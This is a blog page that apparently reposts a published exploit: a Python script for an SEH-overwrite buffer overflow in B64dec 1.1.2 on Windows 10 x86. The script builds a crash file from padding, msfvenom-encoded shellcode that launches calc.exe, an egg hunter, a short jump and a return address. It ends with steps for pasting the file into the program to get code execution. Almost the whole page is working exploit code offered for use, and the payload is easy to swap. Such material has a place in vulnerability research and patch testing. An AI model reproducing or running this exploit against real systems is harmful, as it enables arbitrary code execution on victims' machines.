Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375337

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
# Date: 2020-04-13
# Exploit Author: Andy Bowden
# Vendor Homepage: http://4mhz.de/b64dec.html
# Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Version: Base64 Decoder 1.1.2
# Tested on: Windows 10 x86

#Instructions:
# Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode. 

f = open("crash.txt", "wb")

padding1   = b"ERCDERCD" 
padding1  += b"\x90" * 100

# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
# cmd=calc.exe exitfunc=thread -f python
payload =  b""
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

egghunter  = b"\x8B\xFD"                # mov edi,ebp
egghunter += b"\xB8\x45\x52\x43\x44"    # mov eax,45525344 ERCD                       
egghunter += b"\x47"                    # inc edi                                                                 
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xFB"                # jne                             
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xF7"                # jne        
egghunter += b"\xFF\xE7"                # jmp edi

buf = padding1 + payload 
buf += b"\x90" * (580 - len(padding1 + payload))
buf += egghunter
buf += b"\x90" * (620 - len(buf))
buf += b"\x90\x90\xEB\xCE"
buf += b"\x86\x1e\x40" #00401e86

f.write(buf)
f.close()